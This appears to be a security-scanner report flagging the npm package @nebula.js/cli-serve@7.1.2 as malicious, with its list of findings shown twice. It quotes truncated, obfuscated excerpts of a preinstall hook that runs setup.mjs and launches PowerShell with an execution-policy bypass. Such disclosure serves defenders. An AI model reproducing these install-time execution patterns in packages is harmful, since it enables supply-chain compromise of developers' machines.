@nebula.js/cli-serve@7.1.2: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@nebula.js/cli-serve@7.1.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.preinstall = node setup.mjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

setup.mjsView file

1#!/usr/bin/env node L2: import { execFileSync } from "child_process"; L3: import _0x488df8 from "fs";

High

Child Process

Package source references child process execution.

setup.mjsView on unpkg · L1

252} L253: if (_0x5d8a27.lQXcL(process.platform, _0x5d8a27.MJNCi) && _0x5d8a27.WaLKQ(hc, "powershell", [_0x5d8a27.PpNLF])) { L254: _0x5d8a27.tHRFe(execFileSync, "powershell", [_0x5d8a27.DVCdV, _0x5d8a27.PZdQt, _0x5d8a27.NaIqo, "Bypass", _0x5d8a27.XFZDA, "Expand-Archive -LiteralPath '" + _0x53801b + "' -Destina...

High

Shell

Package source references shell execution.

setup.mjsView on unpkg · L252

math_init.jsView file

1// @bun @bun-cjs L2: var MmgoCP,etDiOOB,JqTtnbZ,bc3Kak,ZQmUTyQ,TTUgga,MDX6yrw,h8wMJNB,CabwE2L,x5ErqV;function WV8StW(MmgoCP,etDiOOB,JqTtnbZ){for(JqTtnbZ=0x0;JqTtnbZ<etDiOOB;JqTtnbZ++)MmgoCP.push(MmgoCP...

Low

Eval

Package source references a known benign dynamic code generation pattern.

math_init.jsView on unpkg · L1

dist/3535.jsView file

1"use strict";(self.webpackChunk_nebula_js_cli_serve=self.webpackChunk_nebula_js_cli_serve||[]).push([[3535],{13535(i,e,n){async function o(i,e){return e?.runtimeModuleMocks?.[i]?e.... L2: //# sourceMappingURL=3535.js.map

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/3535.jsView on unpkg · L1

lib/webpack.build.jsView file

17L18: const { version } = require('../package.json'); L19: ... L43: '@nebula.js/locale': path.resolve(moduleDir, '../../../apis/locale/src'), L44: fixtures: path.resolve(process.cwd(), serveConfig.fixturePath || ''), L45: }, ... L96: __NEBULA_DEV__: true, L97: 'process.env.NEBULA_VERSION': JSON.stringify(version), L98: 'process.env.NEBULA_VERSION_HASH': JSON.stringify(versionHash),

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/webpack.build.jsView on unpkg · L17

dist/eRender.jsView file

1/*! For license information please see eRender.js.LICENSE.txt */ L2: (()=>{var e,t,n,r,o={73183(e,t,n){"use strict";const r=Symbol("SemVer ANY");class o{static get ANY(){return r}constructor(e,t){if(t=i(t),e instanceof o){if(e.loose===!!t.loose)retu... L3: 0% {

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/eRender.jsView on unpkg · L1

dist/9772.jsView file

•path = dist/9772.js kind = oversized_source_file sizeBytes = 6717867 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/9772.jsView on unpkg

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node setup.mjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

setup.mjsView file

1#!/usr/bin/env node L2: import { execFileSync } from "child_process"; L3: import _0x488df8 from "fs";

High

Child Process

Package source references child process execution.

setup.mjsView on unpkg · L1

252} L253: if (_0x5d8a27.lQXcL(process.platform, _0x5d8a27.MJNCi) && _0x5d8a27.WaLKQ(hc, "powershell", [_0x5d8a27.PpNLF])) { L254: _0x5d8a27.tHRFe(execFileSync, "powershell", [_0x5d8a27.DVCdV, _0x5d8a27.PZdQt, _0x5d8a27.NaIqo, "Bypass", _0x5d8a27.XFZDA, "Expand-Archive -LiteralPath '" + _0x53801b + "' -Destina...

High

Shell

Package source references shell execution.

setup.mjsView on unpkg · L252

math_init.jsView file

1// @bun @bun-cjs L2: var MmgoCP,etDiOOB,JqTtnbZ,bc3Kak,ZQmUTyQ,TTUgga,MDX6yrw,h8wMJNB,CabwE2L,x5ErqV;function WV8StW(MmgoCP,etDiOOB,JqTtnbZ){for(JqTtnbZ=0x0;JqTtnbZ<etDiOOB;JqTtnbZ++)MmgoCP.push(MmgoCP...

Low

Eval

Package source references a known benign dynamic code generation pattern.

math_init.jsView on unpkg · L1

dist/3535.jsView file

1"use strict";(self.webpackChunk_nebula_js_cli_serve=self.webpackChunk_nebula_js_cli_serve||[]).push([[3535],{13535(i,e,n){async function o(i,e){return e?.runtimeModuleMocks?.[i]?e.... L2: //# sourceMappingURL=3535.js.map

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/3535.jsView on unpkg · L1

lib/webpack.build.jsView file

17L18: const { version } = require('../package.json'); L19: ... L43: '@nebula.js/locale': path.resolve(moduleDir, '../../../apis/locale/src'), L44: fixtures: path.resolve(process.cwd(), serveConfig.fixturePath || ''), L45: }, ... L96: __NEBULA_DEV__: true, L97: 'process.env.NEBULA_VERSION': JSON.stringify(version), L98: 'process.env.NEBULA_VERSION_HASH': JSON.stringify(versionHash),

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/webpack.build.jsView on unpkg · L17

dist/eRender.jsView file

1/*! For license information please see eRender.js.LICENSE.txt */ L2: (()=>{var e,t,n,r,o={73183(e,t,n){"use strict";const r=Symbol("SemVer ANY");class o{static get ANY(){return r}constructor(e,t){if(t=i(t),e instanceof o){if(e.loose===!!t.loose)retu... L3: 0% {

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/eRender.jsView on unpkg · L1

dist/9772.jsView file

•path = dist/9772.js kind = oversized_source_file sizeBytes = 6717867 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/9772.jsView on unpkg